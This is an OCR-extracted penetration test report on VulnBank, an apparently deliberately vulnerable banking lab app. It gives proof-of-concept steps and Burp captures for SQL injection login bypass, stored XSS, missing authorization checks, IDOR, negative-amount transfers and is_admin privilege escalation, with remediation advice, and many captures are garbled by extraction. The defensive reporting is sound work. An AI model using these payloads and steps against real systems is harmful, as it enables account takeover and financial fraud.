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1.0 Introduction

The following report includes the findings that were found during the penetration report that was
conducted from 10th November 2025 to 17th November 2025. The penetration test was
conducted in regards to the annual mandatory security test. This report contains findings from
the vulnbank.org, vulnbank.apk and vulnbank github repository. It contains proof of concepts,
severity and recommendation of the vulnerability found within your organization.

1.1 Purpose

The team was contacted by the chief technology officer (CTO) of Vulnbank in regards to the
annual penetration test inquiring the team to conduct a penetration test to the organization
systems, mobile(vulnbank.apk), website(vulnbank.org) and vulnbank github Repo. This test is in
adherence to the industry standard requiring financial institutions to conduct annual security tests
to know the security posture of the organization and prove they’re protecting user data. The
team were required to report any vulnerability present that they could find.

1.2 Scope

The team was given three areas where they were required to perform the penetration test. They
are:

1. vulnbank.org

2. Vulnbank.apk

3. Vulnbank github repository https://github.com/Commando-X/vuln-bank
Anything out of the three were considered as out of scope and were avoided by the team.

1.3 Rules of Engagement

The following were the rules provided to the team in regards to this penetration test:
No communication with any staff member of the organization.

No out of scope exploitation was to be conducted.

The penetration test was to be conducted during off peak hours.

No exfiltrating any data out of the systems.

No Denial of service attack was to be carried out.

All findings were to be submitted and reported

AN
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2.0 Executive Summary

Following a comprehensive penetration test and source code review of the VulnBank web
application, backend system (GitHub source code), and mobile app (vulnbank.apk), multiple
severe security weaknesses were identified that place the organization at high risk of financial,
reputational, and regulatory damage.

Overall Risk: CRITICAL

The current system can be compromised without sophisticated technical skills, allowing
attackers to:

Gain full access to any customer account

Manipulate financial balances and transactions

Escalate privileges to administrator level

Extract sensitive internal secrets

Exploit both the web and mobile platforms to cause financial fraud

Immediate remediation is necessary to prevent potential exploitation.
Key Findings
1. Account Takeover via Faulty Password Reset (Web & Mobile)

A weak OTP system allows attackers to reset passwords without authorization. Older API
versions even return the OTP directly, making exploitation trivial.

Impact: Unauthorized access, fraudulent transactions, account lockout of legitimate users.

2. Privilege Escalation & Financial Manipulation (Backend & Web)

Attackers can self-assign administrator access or modify their balance during registration or via
intercepted requests.

Impact: Total control over application, unjustified balance increases, potential large-scale fraud.

3. SQL Injection & Insecure Data Access

Poor input handling allows attackers to directly access or alter the database, bypass login, or
retrieve all user information.

Impact: Customer data breach, regulatory non-compliance, data loss/manipulation.
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4. Business Logic Flaws in Transaction Processing

The financial system fails to validate negative or manipulated transfer values, enabling attackers
to increase their balance.

Impact: Direct financial loss, accounting inconsistencies, audit failures.

5. Mobile App Vulnerabilities

The APK lacks secure network validation, stores data insecurely, and allows unsafe interactions
through embedded web views.

Impact: Account takeover via mobile interception attacks, exposure of customer information.

Risk Category Severity Required Action
Account Takeover Critical  Immediate
Privilege Escalation Critical  Immediate
Financial Fraud Critical Immediate

Data Exposure High 7 days

Mobile Security Weakness High 14 days

Recommended Executive Actions

Initiate immediate remediation of critical risks (within 48 hours)
Suspend deployment of new features until vulnerabilities are resolved
Mandate secure development and QA processes before new releases
Conduct full retesting post-fix and before public launch

Begin cybersecurity awareness and developer training

[}
[ J
[ J
[}
[ J
e Commission an external audit to validate remediation efforts
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3.0 Methodology

3.1 Introduction

This section includes the various steps, tools and techniques used while performing the
penetration test in the three scope areas.

3.2 Reconnaissance

During the test we conducted both active and passive reconnaissance to get information about the
system. For the passive reconnaissance we used google dorking to find public information about
the website vulnbank.org. Below is what we found through google dorking showing the API
documentation of the organization in use.

site:vulnbank.org

re This is an Intentia

banking applicationVulnerable Bank Support

2 Redirect
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'vulnbank.org

@ Swagger /static/openapi.json Explore
ety SWARTBEAR

Vulnerable Bank AP| 2

static/openapijson

AP| documentation for the deliberately vulnerable banking application

Vulnerable Bank Support - Website
Servers
[ hups org - Controlled ion Server
authentication Authentication related endpoints A
/register Register anew user o
/login Login to the application ~
/api/v{version}/forgot-password Requestpassword reset (versioned) ~
/api/v{version}/reset-password Resetpassword using PIN (versioned) v
transactions Transaction management endpoints ~
GET /transactions/{account_number} Gettransaction history ~
/transfer Transfer money v &
GET /check_balance/{account_number} Check account balance v
api/trapnsactions Ger pl -

The API documentation shows the various HTTP methods in use in various request that are
being allowed. This came in handy when exploiting the target since we just needed to structure
the attack to suit the allowed methods

For active reconnaissance we used dirsearch to search for hidden directories and files of the
target system.
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php, aspx, jsp, html, js | HTTP method: GET | Threads: 25

<.org/

Task Completed
We as well did nslookup to the domain to query the Domain name system for information about
the domain.

3.3 Tools

These are the tools that we used during the penetration testing:
e Nmap
Dirsearch

Nslookup
Jadx
Burp suite



Confidential

e Mobsf

10



Confidential

4.0 Findings

4.1 Introduction

This chapter contains all findings that were detected during the penetration test. Each finding has
its severity, its impact, its evidence of the finding / proof of concept(POC) and
recommendation/remediation.

4.2 Website findings

These are the findings that are associated with the vulnbank.org domain.

4.2.1 SQL Injection

Overview

SQL refers to structured query language, a programming language used to interact with relational
databases. SQL injection is a common critical vulnerability where an attacker can manipulate
SQL queries that an application makes to its database by injecting malicious input. This now
enables an attacker to view, modify or delete data that they are not normally able to access. SQL
injection attacks can be found in input fields where a user inputs data and the data is processed
just as it is. An attacker can enter a malicious input to manipulate the query. In this case the login
page does not properly sanitize user input allowing malicious SQL statements to be executed
directly to the database. A way to prevent SQL injection is by use of parameterized queries
ensuring user input is treated as data and not an executable code. (“What is SQL Injection?
Tutorial & Examples | Web Security Academy”)

Severity

Critical

CVSS:4.0/AV:NJAC:L/AT:N/PR:N/UI:P/NC:H/VI:H/VA:H/SC:H/SI:H/SA:H/MAV:N/MAC:

CVSS v4.0 Score: 9.4 [ Critical &

The severity is critical since an attacker doesn't need to be authenticated since they can bypass
this stage. Exploitation requires no authentication and provides admin level privileges when
logging in.

11
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Impact

A successful SQL injection attack to your organization leads an attacker to bypass authentication
controls put in place and gain unauthorized access to sensitive banking data such as customer
information and account details, account number and balance. An attacker with such information

can use it to manipulate the data, expose customer information to the public. This can lead to
lack of customer trust with the bank making them to stop banking with your organization.
Financial institutions face a severe fine penalty for non compliance due to the strict standard set
in place by the GDPR and other financial data protection standards leading to financial and legal

repercussions

Evidence of the finding

We will provide a proof of concept and steps to reproduce this vulnerability finding.
First to verify if the login page is susceptible to SQL injection threat. We will input an
apostrophe ° in the username to see if we will get any internal server error displayed.

Request

Pretty Raw Hex Hackvertor 1S0.. = n

1

POST flogin HTTR/1.1

> Host: localhost:85

3 User-Agent: Mozilla/5.0 (X11; Linux x85_64;

w

rv:128.0) Gecko/20100101 Firefox/128.0
Accept: #/%*

Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost:85/1ogin

5 Content-Type: application/json
5 Content-Length: 31

10
11
12

13

14f

15

origin: http://localhost:85
Connection: keep-alive

Priority: u=0

{
WUsername! st
: ,
"password":"1"

I

Response

Pretty Raw Hex Hackvertor \n
[HTTP/1.0 500 INTERNAL SERVER ERROR |

Ul s W

Content-Type: application/json

Content-Length: 230

Access-Control-Allow-0Origin: http://localhost:85
Vary: Origin

Server: Werkzeug/2.0.1 Python/3.9.25

Date: Tue, 11 Now 2025 10:49:39 GMT

ol I

11
12
13
14

"error":
"syntax error at or near \"1W"\nLINE 1: SELECT * FRO
M users WHERE username='"'"' AMD password:'l'hn
~\At,
"message" :"Login failed",
"status":i"error"
}

We are now assured that we have an SQL injection vulnerability and we can now try exploiting

it.

1.  Go to the login page.

2. In the username input field we will enter eddie’ or 1=1-- and any password since we are
using a true statement of 1=1 and the last -- is used to comment out anything that follows.
Below is a screenshot of the login page with the SQL injection payload:

12
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Welcome Back

eddie' or 1=T1--

Don't have an account? Register

Forgot Password? Reset here

Using Burpsuite to capture the HTTP request we get to see that we are able to be authenticated
into the system and the scariest part was the ability to be authenticated with admin privileges.

a: =
Request Response
Pretty Raw Hex Hackvertor J80... w a n = Pretty Raw Hex Render Hackvertor a n =
1 POST /login HTTR/1.1 1 HITR/1.0 200 OK
2 Host: localhost:85 2 Content-Type: application/json
3 User-Agent: Mozillays5.0 (X11; Linux x86_64; = Content-Length: 470
rv:128.0) Gecko /20100101 Firefox/128.0 a4

13
14
A=)

Accept: */%

Accept-Language: en-USs,en;g=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost:85/login
Content-Type: application/json
Content-Length: 49

origin: http://localhost:85

Connection: keep-alive

Priority: u=0

{
"username":"eddie' or 1=1 --",
"password":"1234"

H

Access-Control-Allow-0Origin: http://localhost:85
Vary: Origin

Server: Werkzeug/2.0.1 Python/3.9.25

Date: Tue, 11 Nov 2025 10:59:45 GMT

I
15

"accountMumber" : " ADMINOOL",

"debug_info":{
"acccunt_number":"ADMINGOI",
"is_admin":true,
"login_time“:"2925-11—11 10:59:45,235798" ,
"user_id":1,
"username":"admin"

I

"1sAdmin rtrue,

"message":"Login successful",

"status":"success",

13
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Recommendations

We recommend that this vulnerability should be patched and given critical/highest priority since
it allows a user to interact with the system even without being authenticated.
Short term plan( Immediate Fix)
e Ensure parameterized queries/ prepared statements are incorporated to ensure user input
is treated as data.
e Server side to reject strings associated to SQL such as *,”,*.-- #.
Long term plan ( 3-6 months)
e Integrate a secure software development lifecycle and using best coding practices by
developers to all applications being used by the organization.
e Deploy a web application firewall to detect and block SQL injection attack.

Summary

Affected System: Login page, user input field.
Vulnerability: SQL injection.

Payload: © or 1=1--

Impact: Authentication Bypass.

Severity: Critical.

Remediation priority: Immediate.

4.2.2 Cross site Scripting (XSS)

Overview

Cross site scripting (XSS) is a web security vulnerability allowing an attacker to compromise the
interactions users have with vulnerable applications by processing untrusted input on the server
and embedding it into the user’s browser. This is enabled by the lack of proper input sanitization
by the application. We were able to inject malicious javascript code into the application. This
was made possible in the registration page in the username input field. We noticed the
application processes username and stored it into the database. When login with the credentials
we registered the malicious javascript is executed successfully. This is a stored XSS, where
payload is saved in the database. (“What is cross-site scripting (XSS) and how to prevent it? |
Web Security Academy”)

Severity

CVSS:4.0/AV:N/AC:H/AT:P/PR:N/ULA/VC:H/VI:H/VA:L/SC:L/SI:L/SA:N

CVSS v4.0 Score: 7.5 [ High @

14
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It is classified as high since it is executed in users’ browser and exploitation can lead to session
hijacking, exposure of sensitive data and compromise of user accounts..

Impact

An exploitation of this vulnerability can allow an attacker to steal session cookies and redirect
users to malicious websites. An attacker having unauthorized access to customer accounts and
compromising sensitive personal identifiable information(PII). An attacker having gained access
can compromise customer accounts through session hijacking, exposing customer information.
This undermines confidentiality and integrity of the data. As an organization you can face
reputational damage and legal repercussions following industry standards that are in place.

Evidence of Finding

We will show steps to reproduce this finding:
1. Go to the registration page where we will create an account.
2. In the username input field rather than inputting a name we enter a script payload
<script>alert(1)</script> and a password.

Create Account

<script>alert(1)</script>

Already have an account? Login

3. We will now go to the login page where we will login with the credentials we registered
with

15
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Welcome Back

<script>alert(1)</script>

Don't have an account? Register

Forgot Password? Reset here

4. Once we click login in we get a pop up displaying 1

@ localhost:85

1

5. This showed the java script code run successfully, the 1 is being displayed cause we used
the alert function thus the javascript executed successfully.

Recommendation

We recommend this vulnerability to be patched and given a high priority since .....
Short Term
e Ensure output encoding before rendering user input.
e Ensure input sanitization to remove script tags <script> </script> and any executable
code
Long term
e Ensure content security policy(CSP) to reduce script execution risk

16
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e Review all user input fields for similar vulnerabilities.

Summary

Affected System: registration page, user input field.
Vulnerability: XSS injection.

Type: Stored XSS

Payload: <script>alert(1)</script>

Impact: Session hijacking.

Severity: High.

Remediation priority: Immediate.

4.2.3 Broken Access controls / Improper Authorization

Overview

Broken access controls vulnerabilities exist where a user can access resources and perform
actions that they are not supposed to be able to do. The application allows an attacker or a user to
make transactions even when all authentication controls put in place are removed. In this case the
application allows access to the transaction API even when removing the authentication tokens
and cookies for that session we are still able to view transactions and make them. This is possible
since the application doesn’t validate session cookies and authorization bearers leading to
unauthorized access to critical banking functions. (“Access control vulnerabilities and privilege
escalation | Web Security Academy”) (“Broken Access Control”)

Severity

CVSS:4.0/AV:NJAC:L/AT:N/PR:LJ/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L

CVSS v4.0 Score: 9.4 [ Critical ®

Critical
The vulnerability allows a user to perform sensitive operations without verifying a user's
permissions. This leads to exposing sensitive data.

Impact

Exploitation of this vulnerability allows attackers to bypass authentication controls and access
confidential customer data and perform unauthorized actions. The confidentiality and integrity of
the data in the organization will be violated since an attacker can perform unauthorized actions
with the information they come into contact with. Organizations can face regulatory penalties by
not protecting customer data and causing negative reputational damage.

17
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Evidence of finding

This is a proof of concept of this vulnerability.
1. Login in to the bank from vulnbank.org and ensure burpsuite or any tool of use is up and

running.
2. From the dashboard go to the transaction tab.
3. Navigate to Burp and click on that HTTP request. This is what you get:

WK =

(W) Y

11
12

Pretty

E_Authorization: _
eyJOeXA101JKV1Q1LCIhbGe1 01 JTUZI IN1J9. ey)le2VyX2LkI joz

10,

Request

B8 wn

Raw Hex Hackvertor JSON ...

FET Jtransactions/4615360352 HITR/1.1

Host: localhost:85

User-Agent: Mozillas/5.0 (X11; Linux xB86_64; rv:128.0)
Gecko/20100101 Firefox/128.0

Accept: */%

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Referer: http://localhost:85/dashboard

Bearer

LCI1c2VybmFtZSI BIml3YwWSnasSIsImlzX2Fkbwlul jpmitwWxzZSwia
WFOI joxNzYyoDY xMzg3f Q. bOPWdTmGdHEKk yn31 dVepwZO_zmNHI o0
\nS8hzBVDJz_Y

Cookie: token=

eyJOeXAL01IKV1QLLCIhbGe1 01 JIUzI IN1J9. eyl le2VyX2LkI joz

LCIlc2VybmFtZSIBIml3YWsSnasSIsImlzX2FkbWlul jpmyWxzZSwia
WFOI joxNzYyoDY xMzg3f Q. bOPWdT mGdHEK yn 31 dVepwZO_zmNHI 00

| NS8DzEVDIZ_ Y

Priority: u=4

4. Send the request to the repeater and edit out the authorization and cookie header and send
the request. This is how it will look like:

Request
Pretty Raw Hex Hackvertor [ \n =
GET /transactilons/4615360352 HTTP/1.1

w oK o=

= M LN s

© W o

Host: localhost:ss

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0)
Gecko/20100101 Firefox/128.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Referer: http://localhost:85/dashboard

, Content-Length: &3

) Connection: keep-alive

Content-Length: 17

Priority: u=4

Response

Pretty Raw Hex Hackvertor = 0
1 HITR/1.0 200 OK

2 Content-Type: application/json

% Content-Length: 132

4 MAccess-Control-aAllow-Origin: *

5 Server: Werkzeug/2.0.1 Python/3.9.25

5 Date: Tue, 11 Mov 2025 12:18:32 GMT

= 1{

=} "account_number":"4615360352",
10 "Server_time":"2025—11-11 12:19:32.268525",
11 "status":"success",
12 "transactions":[

1

12}
14

Response

Pretty Raw Hex Hackvertor = \n

1 HITR/1.0 200 0K

Content-Type: application/json
Content-Length: 132
Access-Control-Allow-0Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Tue, 11 MNov 2025 12:14:31 GMT

T U s W R

g|{
L] "account_number":"4515360352",
10 "server_time":"2025-11-11 12:14:31.72475a",
11 "status":"success",
12 "transactions": [
1
13}
14

5. We see that even after removing the authorization and cookie header we are still able to
get a success status this shows no authentication and authorization mechanism are put in
place
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Recommendations

Short Term
e Ensure all authentications are being validated before critical functions are being shown.
e Restrict access till proper checks are in place
Long Term
e Implement strict access control mechanism
e Ensure authorization checks are enforced throughout the application

Summary

Affected system : / transaction api.

Vulnerability: Broken access control/ Improper Authorization
Exploit: Removing authorization and cookie headers.
Severity: Critical

Remediation: Highest/ Immediate

4.2.4 Insecure Direct Object Reference (IDOR)

Overview

This vulnerability occurs when an application exposes object identifiers without proper access
control. It is enabled when a system does not properly check whether the requesting user is
authorized to access them. This allows an attacker to manipulate these object identifiers to gain
unauthorized access to sensitive data and perform unauthorized actions. In our case our identifier
is the account number that is being displayed in the get request line. By changing this account
number to a different user we can view the other customer information. (“Insecure direct object
references (IDOR) | Web Security Academy”) (“Insecure Direct Object Reference (IDOR)”)

Severity

CVSS:4.0/AV:NJAC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L |

CVSS v4.0 Score: 9.4 [ Critical @

The vulnerability is considered as critical due to its ability to impact the confidentiality and
integrity of the banking system and customer details with minimal effort required.

Impact

The ability where a user is able to view another person account details and are not denied access
not only undermines the confidentiality but integrity of the system. An attacker having gained
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access to another person's account can perform unauthorized activity like financial fraud,
regulatory penalties and reputational damage to the organization.

Evidence of finding

Below is a step by step approach of how to reproduce this finding:
1. Log in to the application with a valid account.
2. Navigate to the transactions tab from the dashboard.
3. Go to Burp and find this HTTP request of the transaction API, below is how it should

look like
Request Response
Pretty Raw Hex Hackvertor JSON ... = n = Pretty Raw Hex Hackvertor \n
1 FET Jtransactions/ 4615360352 HTTP/1.1 1 HITR/l.0 200 OK
2 Host: localhost:85 > Content-Type: application/json

3 User-Agent: Mozilla/S.0 (X11; Linux x86_64; rv:128.0) Content-Length: 132

LR I ST

Gecko/20100101 Firefox/128.0 Access- Control-allow-Origin: *

4 Accept: /% Server: Werkzeug/2.0.1 Python/3.9.25

5 Accept-Language: en-US,en;g=0.5 5 Date: Tue, 11 MNov 2025 12:06:31 GMT

5 Accept-Encoding: gzip, deflate, br 7

7 Referer: http://localhost:85/dashboard al{

2 Authorization: Bearer "account_number":"4515360352",
eyJ0eXAL0LIKY1QLLCIhbGe101JIUzI 1NLI9. eyl lc2vyx2lkIjoz 10 "seryer_time":"2025-11-11 12:06:31.332030",
LCI1c2VybmFtZSIEIml3YWSnaSIsImlzX2FkbwWlul jpmYWxzZ5w1a |11 "status":"success",
WFOI joxMzY yODY xMzg3f Q. bOPWdTmGdHEK yn31 dVepwZ0_zmNHIoO |12 "transactions": [
nS80zBYDIz_Y 1

o Connection: keep:alive 12}

10 Cookie: token= 14

eyJ0eXAl01JKV1Q1LCIhbGe1 01JIUzI IN1J9. eyl lc2Vyx21kI joz
LCIlc2VybmFtZSIEIml3YWSnasIsImlzX2Fkbwlul jpmyWxzZSw1 a
WFOI joxMzY yODY xMz g3 Q. bOPWATmGdHEK yn31 dVepwZ0_zmNHI o0
nS8DzBWDIz_Y

11 Priority: u=4
12
13

4. Notice the current account number is 4615360352, this is the valid account we logged in
with.

5. Create a new account or if you have another account you can use it. Note the account
number of the different account.

6. Send the request to the repeater where we will edit the request to change account number.

7. Change the account number to the new account, ours was 8967583737

8. This is how it will look like:
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o=
Request Response
Pretty Raw Hex Hackvertor ~ JSON ... [ = Pretty  Raw Hex Hackvertor = \n
1 GET /transactions/8967583737 HTTR/1.1 1 HITR/1.0 200 OK
- Host: localhost:85 ) - Content-Type: application/json
3 User-Agent: Mozillas/5.0 (X11l; Linux x86_64; rv:128.0) 3 Content-Length: 378
Gecko/ /20100101 Firefox/128.0 4 Access-Control-Allow-0Origin: *
4 Accept: */* 5 Server: Werkzeug/2.0.1 Python/3.9.25
5 Accept-Language: en-US,en;q=0.5 5 Date: Tue, 11 MNov 2025 12:24:40 GMT
5 Accept-Encoding: gzip, deflate, br 7
7 Referer: http://localhost:85/dashboard g { ;
= Authorization: Bearer =] | "account_number" :"8957583737", J
eyJ0eXA101JKV1QILCIhbGei01JIUZI INLIS. eyl le2VyX2lkIjoz |10 "server_time":"2025-11-11 12:24:40.8228956",
LCI1lc2VybmFtZSIBIml3YWSnasSIsImlzX2Fkbwlul jpmywWxzZSwia |11 "status":"success",
WFOI joxNzY yOOY xMzg3f Q. bOPWATmGdHEk yn31 dVepwZ0_zmMWHIoO |12 "transactions": [
nS8bzBYDIz_Y 13 {
o Gonnegtion: keep:alive 14 "amount" : 1000.0,

10 Cookle: token= 15 "description":"for sql injection",
eyJOeXA101IKVIQILCIhbGe101JIUZIINL IS, eyl 1c2VyX2lkIjoz |15 "from_account":"8967583737",
LCI1c2VybmFtZSIBIml13YWSnasSIsImlzX2FkbWlul jpmyWxzZ5w1a |17 vidv:l,

WFOI j oxNzY yoDY xMzg3f Q. bOPWdTmGdHEK yn31 dVepwZ0_zmNHIoO |12 "timestamp":
nsebzBVDJz_Y "2025-11-11 11:11:06.38261%",

11 Priority: u=4 19 "to_account":"8967583737",

12 20 "type":"transfer"

13 1

]

9. Notice that we are able to view transaction details of the new account without requiring
proper authorization since we are using the first account authorization bearer.

Recommendations

Short- Term

e Validate that users can only view their own account.

e Enforce a deny by default policy for object access when user is not permitted
Long Term

e Apply role based access control to enforce authorization checks.

e Replace direct identifiers with indirect references.

Summary

Affected system: /transactions/account (transaction API)
Vulnerability: Insecure Direct Object Reference( IDOR)
Exploit: change account number in the Get request line
Severity: Critical

Remediation: Immediate, Highest priority

4.2.5 Business Logic Flaw

Overview

These are vulnerabilities in the design of an application that allow attackers to manipulate its
legitimate functionality to achieve unintended outcomes. These flaws exploit the application’s
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intended behavior rather than bypassing security controls like authentication or input validation.
It is made possible when developers make flawed assumptions about user behavior or fail to
anticipate unusual application state. In our application the business logic flaw is in the transfer
function where a user can send money with a negative sign but money is increased to the user.
(“Business logic vulnerabilities | Web Security Academy”)

Severity

CVSS:4.0/AV:NJAC:L/AT:N/PR:LJUI:N/VC:L/VI:H/VA:N/SC:N/SI:H/SA:N |

CVSS v4.0 Score: 8.3 [ High @

The severity is high because this vulnerability doesn’t exploit a technical vulnerability hence no
prior knowledge is needed just by a simple click the organization can incur losses and even go
bankrupt if all customers use this vulnerability increasing their balance.

Impact

This vulnerability is the easiest to manipulate since no tool or payload is needed thus a non
technical person can exploit it. With this ease if all users manipulate it the organization can face
losses or even declare bankruptcy due to the financial fraud. The balance of users can lack
integrity since it is being manipulated.

Evidence of finding

Below are steps on how to reproduce this finding:
1. Login with your account and navigate to the transfer tab.
2. Make a transfer to any account of your choice, on our end we transferred $1. Here is the
balance as shown from the dashboard
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Welcome back, mwangi
Tuesday, November 11, 2025

CURREMT BALA

$999.0

Account Number: 46153

3. Navigate to burp and locate the http request. We see that this is how the application is
intended to run as.

Request Response
Pretty Raw Hex Hackvertor JSON ... & n

1 POST /transfer HTTR/1.1

Host: localhost:85

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0)
Gecko/20100101 Firefox/128.0

Pretty Raw Hex Render Hackvertor = \n

HTTP/1.0 200 OK

Content-Type: application/json

Content-Length: 87

Access-Control-allow-0Origin: http://localhost:85

w N
-

o W

4 Accept: */* Vary: Origin

5 Accept-lLanguage: en-US,en;g=0.5 A Server: werkzeug,fz.o.l Pythonﬁ3.9.25

5 Accept-Encoding: gzip, deflate, br 7 Date: Tue, 11 Nov 2025 12:32:38 GMT

7 Referer: http://localhost:85/dashboard =}

2 Authorization: Bearer ol{
eyJOeXAL01JKV1QLLCIhbGe101JIUzIINLII9. eyllc2VyX21kIjoz 10| "message":"Transfer Completed",
LCI1c2VybmFtZSIBI ml3YWSnasSIsImlzX2FkbWlul jpmYWxzZSw1ia |11 "new_balance":999.0,

WFOI joxNzYy0DY xMzg3f Q. bOPWdTmGdHEk yn31 dVepwZ0_zmNHIoO 12| "status":"success"
nSe0zBVDIzZ_Y 13|}

o Content-Type: application/json 14

10 Content-lLength: 62

11 Origin: http://localhost:85

12 Connection: keep-alive

12 Cookie: token=
eyJ0eXAL01JKY1QLLCIhbGe101JIUZzI IN1I9. eyl le2VyX21kI joz
LCI1c2VybmFtZSIBIm13YWSnasSIsImlzX2FkbWlul jpmyWxzZSwi a
WFOI JoxNzYy0DY xMzg3f Q. bOPWdTmGdHEK yn31 dVepwZ0_zmNHI o0
nsebzBVDJIz_Y

14 Priority: u=0

15
18| {
"to_account" :"8957583737",
"amount":"1",
"description":"juice"
}

4. In the amount field by adding a - on the amount and send it we get to see the amount
increases
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Request

Pretty

W N e

[+ IV Ry =

o~

10
11
1z
13

14

16

SoN. ® n =

Raw Hex Hackvertor

POST /transfer HTTP/1.1

Host: localhost:85

User-Agent: Mozillas5.0 (X11; Linux x86_64; rv:128.0)
Gecko /20100101 Firefox/128.0

Accept: */*

Accept-Language: en-US,en;g=0.5

5 Accept-Encoding: gzip, deflate, br

Referer: http://localhost:85/dashboard

Authorization: Bearer
eyJ0eXA10LIKV1Q1LCIhbGe101JTUzI INLIS. eyl le2VyX21lkIjoz
LCI le2VybmFtZSI6Iml3YWonasSIsImlzX2Fkbwlul jpmyWxzZSw1a
WFOT j oxNzYy0DY xMzg3f Q. bOPWdTmGdHEK yn31dVepwZO_zmNHI 00
nSB0zZBVDIzZ_Y

Content-Type: application/json

Content-Length: 63

Origin: http://localhost:85

Cookie: tokens
eyJ0eXA10LIKV1Q1LCIhbGe101JTUzI INLIS. eyl le2VyX2LlkIjoz
LCI le2VybmFtZSI6Iml3YWonasSIsImlzX2rkbwlul jpmyWxzZSw1a
WFOT j oxNzYy0DY xMzg3f Q. bOPWdTmGdHEK yn31 dVepwZ0_zmNHI 00
nSBE0zBVDIzZ_Y

Priority: u=0

i
"to_accoun S583737",
"amount" {" R
"description™:"julce"

1

Pretty

= U

Response

Raw Hex Hackvertor

HTTR/1.0 200 OK

—

- Content-Type: application/json

3 Content-Length: 88

4 MAccess-Control-Allow-Origin: http://localhost:85
= Vary: Origin

5 Server: Werkzeug/2.0.1 Python/3.9.25
7 Date: Tue, 11 MNov 2025 12:49:25 GMT
8

a i

10 "message":"Transfer Completed",
11 “new_balance"

12 "status":"success"

13|}

14

5. We now see just by putting a negative before the integer we are able to increase the
amount. This shows a simple business logic flaw within the system.

6. We can as well change the amount and increase the amount to an amount one feels like,
we increased ours by $1000

Welcome back, mwangi

Tuesday, November 11, 2025

CURRENT BALANCE

$2000.0

Acc

unt Number: 4615360352
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Request
Pretty Raw Hex Hackvertor JSON ... = n =
1 POST /transfer HTTP/1.1

(1)}

> Host:

localhost:85

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0)
Gecko/20100101 Firefox/128.0

Accept: */%*

, Accept-Language: en-US,en;g=0.5

& Accept-Encoding: gzip, deflate, br

10
11
12
12

14
13
16

, Authorization:

Referer: http://localhost:85/dashboard

Bearer
eyJOeXAiOiJKVlQiLCJhbGCiOiJIUZI1NiJ9.eleCZVyX21kIj02
LCI1c2VybmFtZSI6Im13YWsnasIsImlzX2FkbwWlul jpmyWxzZSwia
WFOL joxNzY yODY xMzg3f Q. bOPWdT mGdHEK yn31 dWepwZ0_zmNHI 00
ns8bzBYDJz_Y

o Content-Type: application/json

Content-Length: 66

Origin: http://localhost:85
Cookis: toksn=
eyJOeXAiOiJKVlQiLCJhbGCiOiJIU:IlNiJQ.eleCZVyXZIkIj0:
LCI1c2VybmFtZSI6Iml3YWsnasIsImlzX2FkbwWlul jpmWxzZSwia
WFOL joxNzY yODY xMzg3f Q. bOPWdT mGdHEK yn31 dWepwZ0_zmNHI 00
ns8hzBYDJz_Y

Priority: u=0

{
"to_accoynt! i 8967583737",
"amount";“-lOOO“, ]
"description":"julice"

Recommendations
Short term

Pretty

a-=
8w

Response

Raw Hex Hackvertor

1 HTTP/1.0 200 OK
Content-Type: application/json

Content-Length: 88

Access-Control-Allow-0Origin: http://localhost:85
Vary: Origin

5 Server: Werkzeug/2.0.1 Python/3.9.25

[ RS TV N ]

Date: Tue, 11 Mov 2025 12:58:45 GMT
g {
10 "message" :"Transfer Completed",
11 "new_balance'|:2000.0,
12 "status" :"success"
12 1

14

e Validate all transaction parameters at server side before processing.

e Implement checks to block transactions that violate business rules.
Long term

e Integrate logic validation into unit

e Apply role based and condition based access controls for business functions.

Summary

Affected system: /Transfer
Vulnerability: Business logic Flaw
Severity: High

Remediation: High

4.2.6 Privilege Escalation

Overview

This is a vulnerability that occurs when an attacker exploits a bug, design flaw or configuration
in a system to gain elevated access to resources that are normally protected. This allows the
attacker to perform unauthorized actions that are typically reserved for higher-privilege users. In
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our system when an account is being created/ registered we see there is an is_admin field that has
been set to false. Changing the value from false to true we get admin privileges. (“Privilege
escalation”)

Severity

CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

CVSS v4.0 Score: 9 [ Critical @

The severity is set as critical because the attacker has high privileges and can now interact with
the system with privileges they are not required to have. The vulnerability results in full system
compromise as an attacker can gain administrative access without authentication bypass or
technical exploitation

Impact

A successful exploit to this vulnerability allows attackers to gain administrative access to the
entire banking system leading to a total compromise of confidentiality, integrity and availability.
An attacker is able to view, modify or delete sensitive customer information, create, modify or
delete user accounts and even disable security mechanisms. This can lead to financial fraud,
reputational damage and legal action to the organization

Evidence of finding
This is a step by step approach on how to reproduce this finding.
1. Navigate to the registration page where we will create a new account and capture the
HTTP request.
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Request Response
Pretty Raw Hex Hackvertor JSON ... (] n = Pretty Raw Hex : Hackvertor B \n =

HTTR/1.0 200 OK

Content-Type: application/json

Content-Length: 570

X-Debug-Info: {'user_id': 7, 'username': 'eeeedddd',
"account_number': '4658165852', 'balance': 1000.0,
'15_admin': False, 'registration_time': '2025-11-11
19:00:25.325854' , 'server_info': 'Mozilla/5.0 (X11;

—

1| POST /register HTTR/1.1 |

Host: localhost:B85

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0)
Gecko,/20100101 Firefox/128.0

Accept Lok

Accept-Language: en-US,en;q=0.5

; Accept-Encoding: gzip, deflate, br

[N]
[N

L W
oW

[%)]

Referer: http://localhost:85/register
Content-Type: application/json
Content-Length: 43

origin: http://localhost:85
Connection: keep-alive

Cookie: token=

o =l

o
= O i

w

Linux x86_64; rv:128.0) Gecko,/20100101
Firefox/128.0', 'raw_data': {'username': 'eeeedddd',
'password': '123456'}, 'fields_registered':
['username', 'password', 'account_number']}
X-User-Info: 1d=7;admin=False;balance=1000,00

; Access-Control-Allow-Origin: http://localhost:85

12 &
eyJ0eXA101 JKV1IQLLCIhbGe101JIUzIINL 9. eyl le2VyX21kIjol | 7 Vary: Origin
